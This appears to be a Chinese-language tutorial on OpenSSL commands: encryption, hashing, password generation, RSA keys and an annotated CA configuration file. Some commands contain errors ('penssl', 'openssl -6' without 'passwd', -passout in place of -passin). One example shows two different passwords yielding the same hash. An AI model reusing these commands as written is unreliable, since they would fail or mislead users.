[root@test ~]# echo 'U2FsdGVkX19PWoSmneIPSEsa42aYcs/tiFiWmmjI4tU=' |openssl aes-128-cbc -d -k 3flreaem37123456  -base64
testsda

openssl dgst命令单向哈希加密

工具:openssl dgst

算法:md5sum, sha1sum, sha224sum,sha256sum…

dgst命令:帮助:man dgst

openssl dgst -md5 [-hex默认] /PATH/SOMEFILE
openssl dgst -md5 testfile
md5sum /PATH/TO/SOMEFILE
若对某文件进行sha1摘要计算:openssl sha1 -in t.txt

# 提取fstab文件的特征码
[root@centos7 scripts]# md5sum fstab   #md5sum命令
4bc58d8550554654fb2eaf4616cfe023  fstab

[root@centos8 data]#openssl md5 fstab
MD5(fstab)= ba52d047da74624f1b009f1f73c4a54a

[root@centos7 scripts]# echo "hello world" | openssl dgst -md5  #直接计算数据特征码
(stdin)= 6f5902ac237024bdd0c176cb93063dc4
6
[root@centos8 data]#openssl sha512 fstab
SHA512(fstab)= 6b814b403efe8da89edc8219ffe280b857a51f19ec864880d1135da46d441d9dea40a85092515dbb42bdf823a2148ab4ba94b78e7aa0b55c439ada07069190f5

[root@centos8 data]#sha512sum fstab
6b814b403efe8da89edc8219ffe280b857a51f19ec864880d1135da46d441d9dea40a85092515dbb42bdf823a2148ab4ba94b78e7aa0b55c439ada07069190f5  fstab

补充知识:

MAC: Message Authentication Code,单向加密的一种延伸应用,用于实现网络通信中保证所传输数据的完整性机制 HMAC:hash-based MAC,使用md5或sha1算法

openssl passwd命令生成用户密码

passwd命令:帮助:man sslpasswd

#centos8
[root@centos8 ~]#openssl passwd --help
Usage: passwd [options]
Valid options are:
 -help               Display this summary
 -in infile          Read passwords from file
 -noverify           Never verify when reading password from terminal
 -quiet              No warnings
 -table              Format output as table
 -reverse            Switch table columns
 -salt val           Use provided salt
 -stdin              Read passwords from stdin
 -6                  SHA512-based password algorithm
 -5                  SHA256-based password algorithm
 -apr1               MD5-based password algorithm, Apache variant
 -1                  MD5-based password algorithm
 -aixmd5             AIX MD5-based password algorithm
 -crypt              Standard Unix password algorithm (default)
 -rand val           Load the file(s) into the random number generator
 -writerand outfile  Write random data to the specified file
 就算密钥一样,只要salt的随机数不一样,那么输出的加密密码就是不一样的,也就无法反推出密码
 centos7 不支持-6

#centos7
[root@centos7 ~]# openssl passwd --help
Usage: passwd [options] [passwords]
where options are
-crypt             standard Unix password algorithm (default)
-1                 MD5-based password algorithm
-apr1              MD5-based password algorithm, Apache variant
-salt string       use provided salt
-in file           read passwords from file
-stdin             read passwords from stdin
-noverify          never verify when reading password from terminal
-quiet             no warnings
-table             format output as table
-reverse           switch table columns

范例:适合centos8

[root@centos8 ~]#getent shadow cui
cui:$6$ARZrof3ZBlFLYESn$SrsreMQqIOTtT/8NIn6w1nil/jrXY67nT3gXcs6Z9AH4iz5t4GakIJUiiu6/rnnDbNAhy68f.YBS0acCFuYT8/::0:99999:7:::

[root@centos8 ~]#echo me | openssl -6 -salt ARZrof3ZBlFLYESn -stdin
$6$ARZrof3ZBlFLYESn$SrsreMQqIOTtT/8NIn6w1nil/jrXY67nT3gXcs6Z9AH4iz5t4GakIJUiiu6/rnnDbNAhy68f.YBS0acCFuYT8/

[root@centos8 ~]#openssl passwd -6 -salt ARZrof3ZBlFLYESn meu # 直接把口令meu放后面也可以
$6$ARZrof3ZBlFLYESn$SrsreMQqIOTtT/8NIn6w1nil/jrXY67nT3gXcs6Z9AH4iz5t4GakIJUiiu6/rnnDbNAhy68f.YBS0acCFuYT8/

范例:创建新用户同时指定密码

#适用于红帽系列的Linux版本
[root@centos8 ~]#echo '123456' | passwd --stdin me

#Ubuntu 非交互式修改用户密码
[root@ubuntu1804 ~]#echo wang:centos |chpasswd
[root@ubuntu1804 ~]#passwd wang <<EOF
> centos
> centos
> EOF

[root@ubuntu1804 ~]#echo -e '123456\123456' | passwd wang

# centos ubuntu都适用。 ubuntu不支持 passwd --stdin
[root@centos8 ~]#useradd -p `echo meu | openssl passwd -6 -salt ARZrof3ZBlFLYESn -stdin` zhang     
[root@centos8 ~]#getent shadow zhang
zhang:$6$ARZrof3ZBlFLYESn$SrsreMQqIOTtT/8NIn6w1nil/jrXY67nT3gXcs6Z9AH4iz5t4GakIJUiiu6/rnnDbNAhy68f.YBS0acCFuYT8/:18402:0:99999:7:::
[root@centos8 ~]#getent shadow zhang cui
zhang:$6$ARZrof3ZBlFLYESn$SrsreMQqIOTtT/8NIn6w1nil/jrXY67nT3gXcs6Z9AH4iz5t4GakIJUiiu6/rnnDbNAhy68f.YBS0acCFuYT8/:18402:0:99999:7:::
cui:$6$ARZrof3ZBlFLYESn$SrsreMQqIOTtT/8NIn6w1nil/jrXY67nT3gXcs6Z9AH4iz5t4GakIJUiiu6/rnnDbNAhy68f.YBS0acCFuYT8/::0:99999:7:::

#  CentOS 6 创建并指定基于sha512的用户密码
[root@centos6 ~]#grub-crypt --sha-512
Password:
Retype password:
$6$v9A2/xUNwAWwEmHN$q7Wz.uscsV/8J5Gss3KslX8hKXOoaP3hDpOBWeBfMQHVIRZiwHUUkii84cvQWIMnvtnXYsdVHuLO4KhOiSOMh/

[root@centos6 ~]#useradd -p '$6$v9A2/xUNwAWwEmHN$q7Wz.uscsV/8J5Gss3KslX8hKXOoaP3hDpOBWeBfMQHVIRZiwHUUkii84cvQWIMnvtnXYsdVHuLO4KhOiSOMh/' test

[root@centos6 ~]#getent shadow test
test:$6$v9A2/xUNwAWwEmHN$q7Wz.uscsV/8J5Gss3KslX8hKXOoaP3hDpOBWeBfMQHVIRZiwHUUkii84cvQWIMnvtnXYsdVHuLO4KhOiSOMh/:18459:0:99999:7:::

# 利用Python程序在CentOS7 生成sha512加密密码
[root@centos7 ~]#python -c 'import crypt,getpass;pw="me";print(crypt.crypt(pw))'
$6$pt2FMf6YqKea3mh$.7Hkslg17uI.Wu7tVVtkzrwktXrOC8DxcMFC4JO1igrqR7VAi87H5PHOuLTUEjl7eJqKUhMT1e9ixojn1

范例:

openssl passwd -1 -salt SALT(最多8位)
openssl passwd -1 –salt centos

范例:

# perl -e 'print crypt ("emacle2013",q($6$123456)),"\n"'
$6$123456$tXk7FCLi2JWojnHgtJjwiTOjCgxZvWRpH0lDxQeHZ4uTW3kgAT.pStPFB3kiYnD6uvoI9hvqvDcR/U/ngKHsj

openssl rand 命令生成随机数

随机数生成器:伪随机数字,利用键盘和鼠标,块设备中断生成随机数

/dev/random:仅从熵池返回随机数;随机数用尽,阻塞
/dev/urandom:从熵池返回随机数;随机数用尽,会利用软件生成伪随机数,非阻塞

帮助:man sslrand

openssl rand -base64|-hex NUM

NUM: 表示字节数,使用-hex,每个字符为十六进制,相当于4位二进制,出现的字符数为NUM*2

范例:生成随机10位长度密码

[root@centos8 ~]#openssl rand -base64 9 |head -c10
6SOm1c6y1c[root@centos8 ~]#
[root@centos7 scripts]# openssl rand -hex 4
bced0c1c
[root@centos8 ~]#tr -dc '[:alnum:]' < /dev/urandom |head -c10
GbfE24koEK[root@centos8 ~]#

openssl命令实现PKI

公钥加密:

  • 算法:RSA, ELGamal
  • 工具:gpg, openssl rsautl(man rsautl)

数字签名:

  • 算法:RSA, DSA, ELGamal

密钥交换:

  • 算法:dh
  • DSA:Digital Signature Algorithm
  • DSS:Digital Signature Standard
  • RSA:

openssl命令生成密钥对儿:man genrsa

openssl genrsa用法

openssl genrsa [-out filename] [-passout arg] [-des] [-des3] [-idea] [numbits]
选项说明:
-out filename     :将生成的私钥保存至filename文件,若未指定输出文件,则为标准输出。
-numbits            :指定要生成的私钥的长度,默认为1024。该项必须为命令行的最后一项参数。
-des|-des3|-idea:指定加密私钥文件用的算法,这样每次使用私钥文件都将输入密码,太麻烦所以很少使用。
-passout args    :加密私钥文件时,传递密码的格式,如果要加密私钥文件时单未指定该项,则提示输入密码。传递密码的args的格式见openssl密码格式

生成私钥

openssl genrsa -out /PATH/TO/PRIVATEKEY.FILE [-des3] [NUM_BITS,默认2048]

范例: 生成秘钥对的私钥,可对私钥输入口令加密

#生成对称秘钥加密的私钥,通过设置严格的权限实现安全,应用更广泛
#centos7默认644,centos8默认600
[root@centos8 ~]#(umask 066; openssl genrsa -out /data/app.key 2048)
[root@centos8 ~]#cat /data/app.key 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA07M+D3J8MdAEj2Mx35XXjpqKZ5OmfsSWY5wJQDHDSEQ6KRYS
-----END RSA PRIVATE KEY-----

#将加密的对称秘钥key解密,此方式更安全,但是不方便,不适合批量执行
[root@centos8 ~]#openssl genrsa -out /data/app2.key -des3 2048 #-des3 加密的密钥对,需要输入口令。使用时要解密才能使用
Enter pass phrase for /data/app2.key:
Verifying - Enter pass phrase for /data/app2.key:
[root@centos8 ~]#cat /data/app2.key 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,170BB158ABFA1750 # DES加密过的文件

WAVQIqG6Ts1QV0tMGbaG+9Y4/jgVPQsYaew/WuS2S71VxPVw3bN9jk+ZhentebDf
-----END RSA PRIVATE KEY-----

# 非交互加密私钥
openssl genrsa -aes128 -out /data/app2.key -passout "pass:123456" 2048 # 明文密码

export MY_PASS=123456 ; openssl genrsa -aes128 -out pri_key.pem -passout "env:MY_PASS" 2048 # 变量获取密码

echo 123456 >mypass.txt ; openssl genrsa -aes128 -out pri_key.pem -des3 -passout "file:mypass.txt" 2048 # 文件获取密码
这里,我指定私钥会使用AES-128算法来加密保存。当然也可以使用AES-192或者AES-256
(分别使用开关 -aes192 和 -aes256 ),但是最好不要使用其他算法(DES、3DES和SEED)。

检查私钥信息

# openssl rsa -in pri_key.pem  -text
Enter pass phrase for pri_key.pem: *****
Private-Key: (2048 bit)
modulus:
    00:d0:82:e1:97:3c:0f:15:9d:4b:88:f0:d0:d9:17:
    ...
publicExponent: 65537 (0x10001)
privateExponent:
    0d:29:85:e6:0f:13:80:b0:ca:38:dd:c2:c1:41:7c:
    ...
prime1:
    00:e8:23:3b:ab:e2:c6:d3:8b:84:f3:ee:68:c8:6d:
    ...
prime2:
    00:e5:f1:e9:d7:4d:bb:04:25:95:eb:9d:0b:3f:61:
    ...
exponent1:
    0e:40:db:91:1a:43:8b:09:ae:08:2c:43:52:cb:21:
    ...
exponent2:
    5b:f0:aa:2b:28:2d:4a:af:2c:8e:94:b0:56:9b:73:
    ...
coefficient:
    00:c7:d9:f5:93:3c:d9:c8:f3:f3:11:34:1a:97:25:
    ... 
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----

从私钥中提取出公钥

openssl rsa -in PRIVATEKEYFILE –pubout –out PUBLICKEYFILE

范例:

openssl rsa –in test.key –pubout –out test.key.pub

范例:从私钥中提取出公钥

(umask 066;openssl genrsa -out /data/app.key 1024)

[root@centos8 ~]#openssl rsa -in /data/app.key -pubout -out /data/app.pub.key
writing RSA key
[root@centos8 ~]#ls -l /data/
total 8
-rw------- 1 root root 1675 May 20 22:34 app.key
-rw-r--r-- 1 root root  451 May 20 22:35 app.pub.key

[root@centos8 ~]#cat /data/app.pub.key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwtz/zur9wEVQ4p2FB8yf
oFCGqYgtjJtYd/ZDC9K4OV3+o+eX4YjRigx2MZ1t0AK26d+e3UXOVprAgkwTg40f
wVye0iQaWCOZwySmLZybyZiGSwFViefEkrE9r5Bvn9iIRu+2zIA21R0DV2CnAdp1
AMEMysovBF6sy6unGAj8tYovDyPvH5tOM03pXkckrt58md8AFOKeW4CyIF31LDM1
94kPUqWzM7GQqdk86VbR46lppXPj0Hxe8Fg2zQqgShWzWpskBjtPX5cWxtjq0D90
M07w4klNGbR43vTOzgquC4VZyuk7Y1RWftKKp7JphAR5Q2DLVLdzHe8/Zqg/YqoM
/wIDAQAB
-----END PUBLIC KEY-----

范例:加密过的私钥提取公钥需要输入口令

[root@centos8 ~]#openssl rsa -in /data/app2.key -pubout -out /data/app2.pub.key
Enter pass phrase for /data/app2.key:
writing RSA key
[root@centos8 ~]#cat /data/app2.pub.key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwAkdfjBQowO/BQl05s+C
sZ2Q7CFfcNL5fiIReQhmDZm8BDGUwX/Pps7EO5YTC3T45Nt0zgbRqimoZ6g5soQm
GMMId3j5Du1Pjl9gYqDx6Jf5X6jSzq/r5TYgn4Gc0SsrG8fB00MN7xwUEsuE4GK8
Z9cQpt9HhjaqC4Va21e4JH33dhwzpjKzaUuD0dmjVJdsZV+BQFT4FTpneu0RIo8r
8VocXh1Vn/U77g2VFn5Xm4BhrqxqgX48r0AQZB6wxgE2xrjij2GInVJpiFL1SGYc
nZ6m2VS4Gwe6QoUi1GC1bKeElGh8vgcPF8oX2vb0ulZCJVlSkM8n91J9yrEmCZOR
WQIDAQAB
-----END PUBLIC KEY-----

# 非交互式
openssl rsa -in /data/app2.key -pubout -out /data/app2.pub.key -passin "pass:123456" # 明文

export MY_PASS=123456 ; penssl rsa -in /data/app2.key -pubout -out /data/app2.pub.key -passout "env:MY_PASS" 2048 # 变量获取密码

echo 123456 >mypass.txt ; penssl rsa -in /data/app2.key -pubout -out /data/app2.pub.key -passout "file:mypass.txt" 2048 # 文件获取密码

范例:生成加密的私钥,并解密

[root@centos8 ~]#openssl genrsa -out /data/app.key -des3 1024
Generating RSA private key, 1024 bit long modulus (2 primes)
.........+++++
................+++++
e is 65537 (0x010001)
Enter pass phrase for /data/app.key:
Verifying - Enter pass phrase for /data/app.key:

[root@centos8 ~]#openssl rsa -in /data/app.key -out /data/app.key2
Enter pass phrase for /data/app.key:
writing RSA key

建立私有CA实现证书申请颁发

参考:

官方openssl配置文件

金步国OpenSSL配置文件

ssl官方书籍openssl-cookbook

ssl官方书籍中文openssl-cookbook.pdf

建立私有CA:

  • OpenCA:OpenCA开源组织使用Perl对OpenSSL进行二次开发而成的一套完善的PKI免费软件
  • openssl

相关名词:

  • /.csr:Certificate Signing Request证书签名请求的简写
  • /.crt:Certificate证书的简写

证书申请及签署步骤:

  1. 生成申请请求
  2. RA核验。RA相当于接收证书请求的代理
  3. CA签署
  4. 获取证书

范例:openssl-libs包

[root@centos8 ~]#rpm -ql openssl-libs
/etc/pki/tls
/etc/pki/tls/certs
/etc/pki/tls/ct_log_list.cnf
/etc/pki/tls/misc
/etc/pki/tls/openssl.cnf # 配置文件
/etc/pki/tls/private
/usr/lib/.build-id
/usr/lib/.build-id/2f
/usr/lib/.build-id/2f/d658368c8d16cc6d2bc9584eca2b757c98df18

openssl的配置文件

/etc/pki/tls/openssl.cnf

三种策略:match匹配、optional可选、supplied提供

match:要求申请填写的信息跟CA设置信息必须一致
optional:可有可无,跟CA设置信息可不一致
supplied:必须填写这项申请信息

范例:

[root@centos8 ~]#cat /etc/pki/tls/openssl.cnf
......
####################################################################
[ ca ]
default_ca  = CA_default        # The default ca section

####################################################################
[ CA_default ]
dir     = /etc/pki/CA           # Where everything is kept CA的工作目录
certs       = $dir/certs        # Where the issued certs are kept  颁发的证书所在位置
crl_dir     = $dir/crl          # Where the issued crl are kept   已吊销证书的吊销列表的存储目录位置
#centos8 默认没有index.txt,自行创建
database    = $dir/index.txt    # database index file.   证书颁发的索引文件
#unique_subject = no            # Set to 'no' to allow creation of
                                # several certs with same subject.
new_certs_dir   = $dir/newcerts # default place for new certs.   新颁发证书的默认位置

certificate = $dir/cacert.pem   # The CA certificate    CA证书所在位置
#centos8 默认没有serial,自行创建
serial      = $dir/serial       # The current serial number  下一个要颁发证书的编号
crlnumber   = $dir/crlnumber    # the current crl number 证书吊销编号
                                # must be commented out to leave a V1 CRL
crl     = $dir/crl.pem          # The current CRL   曾被吊销的证书列表
private_key = $dir/private/cakey.pem# The private key   CA私钥文件位置

x509_extensions = usr_cert      # The extensions to add to the cert

# Comment out the following two lines for the "traditional"
# (and highly broken) format.
name_opt    = ca_default        # Subject Name options
cert_opt    = ca_default        # Certificate field options

default_days    = 365           # how long to certify for  默认有效期,公司内部使用应调长一些
default_crl_days= 30            # how long before next CRL 默认吊销列表存放时间
default_md  = sha256        # use SHA-256 by default 默认摘要算法sha256
preserve    = no            # keep passed DN ordering

# A few difference way of specifying how similar the request should look
# For type CA, the listed attributes must be the same, and the optional
# and supplied fields are just that :-)
policy      = policy_match

# For the CA policy
[ policy_match ]
countryName     = match               #国家
stateOrProvinceName = match           #省份
organizationName    = match           #组织机构  match 申请证书时国家省份组织这3项必须和CA一致
organizationalUnitName  = optional    #部门 optional 可选的 可以和上面的不一样
commonName      = supplied            #通用域名 supplied必须填写
emailAddress        = optional

# For the 'anything' policy
# At this point in time, you must list all acceptable 'object'
# types.
[ policy_anything ]
countryName     = optional
stateOrProvinceName = optional
localityName        = optional
organizationName    = optional
organizationalUnitName  = optional
commonName      = supplied
emailAddress        = optional
......
语法
# 变量 = 值
# 1. 字符串值最好使用双引号界定,并且其中可以使用"\n","\r","\t","\\"这些转义序列。
# 2. 可以使用 ${变量名} 的形式引用同一字段中的变量,使用 ${字段名::变量名} 的形式引用其它字段中的变量。
# 3. 可以使用 ${ENV::环境变量} 的形式引用操作系统中定义的环境变量,若变量不存在则会导致错误。
# 4. 可以在默认字段定义与操作系统环境变量同名的变量作为默认值来避免环境变量不存在导致的错误。
# 5. 如果在同一字段内有多个相同名称的变量,那么后面的值将覆盖前面的值。
# 6. 可以通过 ".include = 绝对路径" 语法或 OPENSSL_CONF_INCLUDE 环境变量引入其他配置文件(*.cnf)。
默认字段
#[ default ]
# 此部分是默认字段,必须放在所有字段之前。小节头"[default]"是可选的。
# 读取配置文件时,会首先根据字段名称去寻找相应的配置段,如果没有找到则会使用这里的默认字段。

# 定义 HOME 的默认值,防止操作系统中不存在 HOME 环境变量。
HOME = /tmp

# 默认的随机数种子文件,对应 -rand 命令行选项。
RANDFILE = /dev/random

# 扩展对象定义
# 如果没有在 OpenSSL 命令行中定义X.509证书的扩展项,那么就会从下面对扩展对象的定义中获取。
# 定义方法有两种,第一种(反对使用)是存储在外部文件中,也就是这里"oid_file"变量定义的文件。
#oid_file = ${ENV::HOME}/.oid
# 第二种是存储在配置文件的一个字段中,也就是这里"oid_section"变量值所指定的字段。
oid_section = new_oids

# 要将此配置文件用于 "openssl x509" 命令的 "-extfile" 选项,
# 请在此指定包含 X.509v3 扩展的小节名称
#extensions =
# 或者使用一个默认字段中仅包含 X.509v3 扩展的配置文件

[ new_oids ]
# 添加可以被 'ca', 'req', 'ts' 命令使用的扩展对象。格式如下:
# 对象简称 = 对象数字ID
# 下面是一些增强型密钥用法(extendedKeyUsage)的例子

# 任何目的(一次性包含所有增强用法)
anyExtendedUsage = 2.5.29.37.0
# 服务器身份验证
serverAuth = 1.3.6.1.5.5.7.3.1
# 客户端身份验证
clientAuth = 1.3.6.1.5.5.7.3.2
# 代码签名
codeSigning = 1.3.6.1.5.5.7.3.3
# 安全电子邮件
emailProtection = 1.3.6.1.5.5.7.3.4
# IPSec 终端系统
ipsecEndSystem = 1.3.6.1.5.5.7.3.5
# IPSec 隧道
ipsecTunnel = 1.3.6.1.5.5.7.3.6
# IPSec 用户
ipsecUser = 1.3.6.1.5.5.7.3.7
# 时间戳
timeStamping = 1.3.6.1.5.5.7.3.8
# OCSP 签名
OCSPSigning = 1.3.6.1.5.5.7.3.9
# IPSec 密钥交换
ipsecIKE = 1.3.6.1.5.5.7.3.17
# 微软个人代码签名
msCodeInd = 1.3.6.1.4.1.311.2.1.21
# 微软商业代码签名
msCodeCom = 1.3.6.1.4.1.311.2.1.22
# 微软信任列表签名
msCTLSign = 1.3.6.1.4.1.311.10.3.1
# 微软加密文件系统
msEFS = 1.3.6.1.4.1.311.10.3.4
证书请求配置
input_password :密码输入文件,和命令行的"-passin"选项对应,密码格式以及意义见"openssl密码格式"
output_password:密码的输出文件,与命令行的"-passout"选项对应,密码格式以及意义见"openssl密码格式"
default_bits   :openssl req自动生成RSA私钥时的长度,不写时默认是512,建议不小于2048。命令行的"-new""-newkey"可能会用到它 
default_keyfile:默认的私钥输出文件,与命令行的"-keyout"选项对应 
encrypt_key    :当设置为no时,自动创建私钥时不会加密该私钥。设置为no时与命令行的"-nodes"等价。还有等价的兼容性写法:encry_rsa_key 
default_md     :指定创建证书请求时对申请者信息进行数字签名的单向加密算法,与命令行的"-[dgst]"对应 可以使用(sha256, sha3-256, sha512, sha3-512, ...)
prompt         :当指定为no时,则不提示输入证书请求的字段信息,而是直接从openssl.cnf中读取 :请小心设置该选项,很可能请求文件创建失败就是因为该选项设置为no 
string_mask    :为一些字段设置默认的字符串类型,比如证书请求中的城市和组织名称。可能的取值和解释如下
  # default: 包含了 PrintableString, T61String, BMPString 三种类型
  # pkix  : 包含了 PrintableString, BMPString 两种类型
  # utf8only: 只使用 UTF8 字符串。推荐使用这个,这样可以完美的包含任意字符。
  # nombstr : 包含了 PrintableString, T61String 两种类型
distinguished_name:(DN)是一个扩展属性段落,用于指定证书请求时可被识别的字段名称。
/C= Country国家。如CN
/ST= State 省或洲的完整名称   London
/L= Location 所在位置的名称(默认为城市)    London
/O= Organization 组织机构名称(默认为公司)    Global Security
/OU= Organizational Unit 组织机构单元名称(eg.部门) IT Department
/CN= Common Name持有者名或者所在服务器主机名(即域名) example.com
/emailAddress 管理员邮件地址,可以省略[email protected]

#可被识别的字段名称包含了用户的标识信息,对应 -subj 命令行选项。如
[ req ]
# `man req`
default_bits        = 4096
distinguished_name  = req_distinguished_name
string_mask         = utf8only
default_md          = sha256
[ req_distinguished_name ]
CN = www.test.com
emailAddress = [email protected]
O = Feisty Duck Ltd
L = London
C = GB
扩展部分

通常应用程序将包含一个指向扩展部分的选项。扩展部分的每一行都采用以下形 式。如果存在critical,则扩展将为critical。

extension_name=[critical,] extension_options

扩展主要有四种类型: 字符串扩展、多值扩展、原始扩展和任意扩展。

# 1 字符串扩展只包含一个字符串,该字符串包含值本身或如何获取值。
nsComment="This is a Comment"

# 2 值扩展有短形式和长形式。短形式是名称和值的列表:
basicConstraints=critical,CA:true,pathlen:1

# 3 长形式允许将值放置在一个单独的部分:
basicConstraints=critical,@bs_section

[bs_section]
CA=true
pathlen=1
这两种形式是等价的。

# 4 原始扩展的语法由扩展代码控制: 例如,它可以在多个部分中包含数据。要使用的正确语法是由扩展代码本身定义的: 查看一个示例的证书策略扩展。
# 5 如果不支持扩展类型,则必须使用任意扩展语法,请参阅任意扩展部分以获得更多详细信息。

基本限制

basicConstraints=CA:TRUE
basicConstraints=CA:FALSE
basicConstraints=critical,CA:TRUE, pathlen:0 # 表示禁止签发下级CA证书(仅能签发"叶子证书")

CA:TRUE/FALSE TRUE表示是CA证书(可签发其他证书);FALSE表示不是证书

pathlen:N 后缀表示允许签发下级CA证书的最大数量("0"表示禁止签发下级CA证 书),"critical"表示关键扩展

密钥用法

支持的名称有:digitalSignature(数字签名), nonRepudiation(防否认), keyEncipherment(密钥加密), dataEncipherment(数据加密), keyAgreement(密 钥协商), keyCertSign(证书签发), cRLSign(证书撤销列表签名), encipherOnly(仅加密) and decipherOnly(仅解密)

keyUsage=nonRepudiation, digitalSignature, keyEncipherment
keyUsage=critical, keyCertSign

扩展的密钥使用

这个扩展包含一个用法列表,指出证书公钥可用于的目的

这些名称可以是对象短名称,也可以是 oid 的点号数字形式。虽然任何 OID都 可以使用,但只有某些值是有意义的。特别是下列 PKIX、 NS 和 MS值是有意义 的:

Value                  Meaning
-----                  -------
serverAuth             SSL/TLS Web Server Authentication. 服务器身份验证
clientAuth             SSL/TLS Web Client Authentication. 客户端身份验证
codeSigning            Code signing. 代码签名
emailProtection        E-mail Protection (S/MIME). 安全电子邮件
timeStamping           Trusted Timestamping 时间戳
OCSPSigning            OCSP Signing OCSP 签名
ipsecIKE               ipsec Internet Key Exchange  IPSec 密钥交换
msCodeInd              Microsoft Individual Code Signing (authenticode) 微软个人代码签名
msCodeCom              Microsoft Commercial Code Signing (authenticode) 微软商业代码签名
msCTLSign              Microsoft Trust List Signing 微软信任列表签名
msEFS                  Microsoft Encrypted File System 微软加密文件系统

范例

extendedKeyUsage=critical,codeSigning,1.2.3.4
extendedKeyUsage=serverAuth,clientAuth

使用者密钥标识符(根据RFC3280规范自动生成)

这实际上是一个字符串扩展,可以取两个可能的值。要么是自动遵循RFC3280准 则的单词散列,要么是十六进制字符串,给出扩展值以包括。强烈建议不要使用 十六进制字符串。

subjectKeyIdentifier=hash

颁发机构密钥标识符

颁发者选项从颁发者证书复制颁发者和序列号。只有在keyid选项失败或者没有 包含的情况下才会执行此操作,除非”always”表示始终包含该值

authorityKeyIdentifier=keyid,issuer
authorityKeyIdentifier = keyid,issuer:always

使用者备用名称

包含email, URI, DNS, RID, IP, dirName(专有名称)和其他名称,多个以逗号 分隔常用于实现泛域名证书、IP常用于绑定特定的IP地址、"copy"表示直接复制 证书中的包含的邮件地址

subjectAltName = DNS:www.example.com, DNS:example.com, DNS:*.example.net, IP:192.168.7.1, IP:13::17, email:copy
subjectAltName = @master_names
[ master_names ]
DNS.1 = ${ENV::MASTER_NAME}.${ENV::BASE_DOMAIN}

subjectAltName=email:[email protected],RID:1.2.3.4
subjectAltName=otherName:1.2.3.4;UTF8:some other identifier


subjectAltName=dirName:dir_sect
[dir_sect]
C=UK
O=My Organization
OU=My Unit
CN=My Name

颁发者别称

issuerAltName = issuer:copy # copy从证书中复制

权限信息访问

提供了有关如何访问与 CA 相关的某些信息的详细信息。其语法是accessOID; 位置的语法与主题替代名称相同(除了不支持 email: copy)。accessOID 可以是 任何有效的 OID,但是只有某些值是有意义的,例如OCSP 和 castanors。

authorityInfoAccess = OCSP;URI:http://ocsp.my.host/
authorityInfoAccess = caIssuers;URI:http://my.ca/ca.html

证书吊销分发位置

# 简单的例子
crlDistributionPoints=URI:http://myhost.com/myca.crl
crlDistributionPoints=URI:http://my.com/my.crl,URI:http://oth.com/my.crl

#完整的分发点
crlDistributionPoints=crldp1_section

[crldp1_section]
fullname=URI:http://myhost.com/myca.crl
CRLissuer=dirName:issuer_sect
reasons=keyCompromise, CACompromise

[issuer_sect]
C=UK
O=Organisation
CN=Some Name

颁发者分发地址

issuingDistributionPoint=critical, @idp_section

[idp_section]
fullname=URI:http://myhost.com/myca.crl
indirectCRL=TRUE
onlysomereasons=keyCompromise, CACompromise

[issuer_sect]
C=UK
O=Organisation
CN=Some Name

证书政策

这是一个原始的扩展。可以使用适当的语法设置这个扩展的所有字段

certificatePolicies= 1.2.4.5, 1.1.3.4

certificatePolicies=ia5org,1.2.3.4,1.5.6.7.8,@polsect
[polsect]
policyIdentifier = 1.3.5.8
CPS.1="http://my.host.name/"
CPS.2="http://my.your.name/"
userNotice.1=@notice

[notice]
explicitText="Explicit Text Here"
organization="Organisation Name"
noticeNumbers=1,2,3,4

政策限制

包括名称 requireExplicitPolicy 或 inhibitPolicyMapping和一个非负整数值。 至少要有一个组件存在。

policyConstraints = requireExplicitPolicy:3

禁止任何政策

名称应以允许或排除这两个词开头,后跟一个;。名称和值的其余部分遵循 subjectAltName 的语法,但 email 除外: 不支持复制,IP 表单应由 IP地址和 子网掩码组成,中间用/分隔。

nameConstraints=permitted;IP:192.168.0.0/255.255.0.0
nameConstraints=permitted;email:.somedomain.com
nameConstraints=excluded;email:.com

跳过 OCSP 检查

noCheck = ignored

TLS 特性

每个标识符可以是一个数字(0。. 65535)或支持的名称。当 TLS客户端发送列出 的扩展时,TLS 服务器应该在其应答中包含该扩展。

支持的名称是: status_request and status_request_v2

tlsfeature = status_request

证书说明

nsComment = "Some Random Comment"

证书类别

用于表明证书可用于的目的。现在使用的是 basicConstraints、keyUsage 和扩 展密钥使用扩展

支持client, server, email, objsign, reserved, sslCA, emailCA, objCA.

nsCertType = client 
nsComment = "OpenSSL Generated Client Certificate"
nsCertType = server
nsComment = "OpenSSL Generated Server Certificate"

任意扩展

如果 OpenSSL代码不支持扩展,则必须使用任意扩展格式对其进行编码。对于支 持的扩展,也可以使用任意格式。应该特别小心,以确保数据的格式对于给定的 扩展类型是正确的有两种方法可以对任意扩展进行编码。

#第一种方法是使用 ASN1这个词,后面跟着扩展内容,使用与 ASN1 _ generate _ nconf (3)相同的语法
1.2.3.4=critical,ASN1:UTF8String:Some random data
1.2.3.4=ASN1:SEQUENCE:seq_sect
[seq_sect]
field1 = UTF8:field1
field2 = UTF8:field2

# 使用单词 DER 在任何扩展中包含原始编码的数据
1.2.3.4=critical,DER:01:02:03:04
1.2.3.4=DER:01020304
DER 后面的值是扩展的 DER 编码的十六进制转储。任何扩展都可以放在这个表单中以覆盖默认行为。例如:
basicConstraints=critical,DER:00:01:02:03
#DER 和 ASN1选项应谨慎使用。如果不小心使用,可能会创建完全无效的扩展。

范例

##### 要加入到证书请求中的一系列 X.509v3 扩展项,对应 -addext 命令行选项 #####
[ v3_req ]
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = critical, serverAuth, clientAuth, timeStamping
nsCertType = client,server
nsComment = "OpenSSL Generated Client Certificate and Server Certificate"
subjectAltName = DNS:www.example.com, DNS:example.com, DNS:*.example.net, IP:192.168.7.1, IP:13::17, email:copy
# OCSP必须装订(OCSP Must-Staple)
1.3.6.1.5.5.7.1.24 = DER:30:03:02:01:05
# 如果是使用openssl 1.1.0或更高的版本,可以这样设置:
tlsfeature = status_request

#### 生成自签名证书(RootCA)时使用的 X.509v3 证书扩展项,对应 -addext 命令行选项 #####
[ v3_ca ]
basicConstraints = critical,CA:TRUE
keyUsage = cRLSign, keyCertSign, digitalSignature
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
证书签发配置
cd ca
